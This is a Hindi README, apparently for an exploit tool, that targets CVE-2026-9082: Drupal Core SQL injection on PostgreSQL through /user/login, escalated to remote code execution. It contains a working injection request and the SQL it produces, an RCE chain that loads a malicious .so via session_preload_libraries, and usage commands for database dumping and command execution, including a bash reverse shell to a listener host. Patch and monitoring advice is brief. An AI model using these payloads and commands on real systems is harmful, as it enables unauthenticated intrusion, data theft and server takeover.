
Drupal Core PostgreSQL SQLi से RCE तक /user/login के माध्यम से (CVE-2026-9082 / SA-CORE-2026-004)
Drupal Core में PostgreSQL पर बिना प्रमाणीकरण के SQL इंजेक्शन, POST /user/login के माध्यम से, और PostgreSQL session_preload_libraries के जरिए रिमोट कोड निष्पादन तक बढ़ाया गया।
मौजूदा सार्वजनिक शोषणों के विपरीत जो JSON:API को लक्षित करते हैं, यह लॉगिन एंडपॉइंट का उपयोग करता है — जो हमेशा उपलब्ध होता है, किसी मॉड्यूल या प्रकाशित सामग्री की आवश्यकता नहीं होती।
सलाह: SA-CORE-2026-004 | जोखिम: 23/25 (अत्यधिक गंभीर) | CISA KEV
केवल PostgreSQL द्वारा संचालित Drupal साइटें ही कमजोर हैं।
| शाखा | कमजोर | पैच किया गया |
|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | सभी | जीवनकाल समाप्त - अपग्रेड करें |
Drupal का PostgreSQL एंटिटी क्वेरी शर्त हैंडलर (core/modules/pgsql/src/EntityQuery/Condition.php) $condition['value'] को एक सहयोगी सरणी के रूप में पुनरावृत्त करके और उपयोगकर्ता-नियंत्रित कुंजियों को सीधे PDO प्लेसहोल्डर पहचानकर्ताओं में जोड़कर केस-असंवेदनशील IN शर्तें बनाता है — उत्पन्न SQL में LOWER(:<prefix><key>) होता है जहां <key> हमलावर से शाब्दिक रूप से आता है।
यह कोड पथ तभी पहुंचा जाता है जब दो शर्तें पूरी होती हैं: is_array($condition['value']) और $case_sensitive === FALSE। यही कारण है कि केवल PostgreSQL प्रभावित है — MySQL और SQLite में यह केस-असंवेदनशील LOWER() शाखा नहीं है।
PDO का नामांकित-पैरामीटर पार्सर केवल [a-zA-Z0-9_] को : के बाद पहचानता है। उस सेट से बाहर के वर्ण (जैसे | या )) प्लेसहोल्डर टोकन को समाप्त कर देते हैं। इसलिए 0||(subquery) जैसी कुंजी एक प्लेसहोल्डर :prefix0 (वैध कुंजी 0 के साथ साझा) और शाब्दिक SQL ||(subquery) उत्पन्न करती है जो बिना पैरामीटर के PostgreSQL तक पहुंचता है।
समाधान एक एकल array_values() कॉल है जो SQL उत्पादन से पहले हमलावर द्वारा प्रदत्त कुंजियों को हटा देता है।
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
name फ़ील्ड को एक स्ट्रिंग के बजाय JSON ऑब्जेक्ट के रूप में भेजा जाता है। Drupal इसे केस-असंवेदनशील तुलना के साथ एक एंटिटी क्वेरी IN शर्त में पास करता है। प्रत्येक सरणी कुंजी के लिए, Drupal SQL में LOWER(:<prefix><key>) उत्पन्न करता है। परिणामी क्वेरी इस प्रकार दिखती है:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO दोनों प्रविष्टियों में :users_field_data_name0 को प्लेसहोल्डर के रूप में पहचानता है (दूसरे में | पर रुकता है), और दोनों को 'x' से बांधता है। शेष ||(SELECT ...) शाब्दिक SQL के रूप में गुजरता है। प्रतिस्थापन के बाद, PostgreSQL प्राप्त करता है:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
CAST(... AS int) गैर-पूर्णांक डेटा पर विफल हो जाता है, और त्रुटि संदेश क्वेरी परिणाम को लीक कर देता है।
जब डेटाबेस उपयोगकर्ता PostgreSQL सुपरयूज़र होता है, तो केवल-चयन इंजेक्शन को RCE तक बढ़ाया जा सकता है:
data_directory, सुपरयूज़र स्थितिsystem() को कॉल करने वाले _PG_init() के साथ एक मूल .so मॉड्यूल संकलित करेंlo_create -> lo_put -> lo_export) के माध्यम से .so को data_directory पर अपलोड करेंsession_preload_libraries और dynamic_library_path सेट करने के लिए postgresql.auto.conf को फिर से लिखेंpg_reload_conf() के साथ कॉन्फ़िग पुनः लोड करेंpg_read_file() के माध्यम से कमांड आउटपुट पढ़ेंSQL इंजेक्शन (cve_2026_9082_check.py):
रिमोट कोड निष्पादन (cve_2026_9082_rce.py):
docker स्थानीय रूप से उपलब्ध (macOS पर क्रॉस-संकलन के लिए)pip install -r requirements.txt
# SQL इंजेक्शन को मान्य करें
python3 cve_2026_9082_check.py http://target:8081
# प्रॉक्सी के साथ (Burp, mitmproxy, आदि)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# सभी डेटाबेस सूचीबद्ध करें
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# डेटाबेस में तालिकाएँ सूचीबद्ध करें
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# तालिका में स्तंभ सूचीबद्ध करें
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# एक कमांड चलाएं
python3 cve_2026_9082_rce.py http://target:8081 "id"
# रिवर्स शेल
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# सुनने वाला
nc -lvnp 4444
एक कमजोर इंस्टेंस के विरुद्ध SQLi सत्यापन:

त्रुटि-आधारित इंजेक्शन के माध्यम से डेटाबेस गणना:

रिमोट कोड निष्पादन तक बढ़ोतरी:

Drupal को तुरंत अपडेट करें एक पैच किए गए संस्करण में:
यदि आप तुरंत अपडेट नहीं कर सकते:
name फ़ील्ड में JSON ऑब्जेक्ट्स के साथ असामान्य POST /user/login अनुरोधों के लिए लॉग की निगरानी करेंपैच और विवरण: SA-CORE-2026-004
| तारीख | घटना |
|---|---|
| 2026-05-20 | Drupal ने SA-CORE-2026-004 प्रकाशित किया, पैच जारी किए गए |
| 2026-05-22 | जंगली में सक्रिय शोषण, CISA KEV में जोड़ा गया |
| 2026-05-26 | Ambionics ने JSON:API के माध्यम से SQLi-से-RCE तकनीक प्रकाशित की |
| 2026-06-07 | यह उपकरण जारी किया गया |
/user/login) bitk & jfellus (YesWeHack) द्वारा वर्णितsession_preload_libraries) N. Maccary / Ambionics (Lexfo) द्वारा/user/login वेक्टर के लिए RCE अनुकूलितयह उपकरण अधिकृत सुरक्षा परीक्षण और केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग के लिए कोई दायित्व नहीं लेता है। हमेशा उन सिस्टमों का परीक्षण करने से पहले उचित प्राधिकरण प्राप्त करें जिनके आप मालिक नहीं हैं।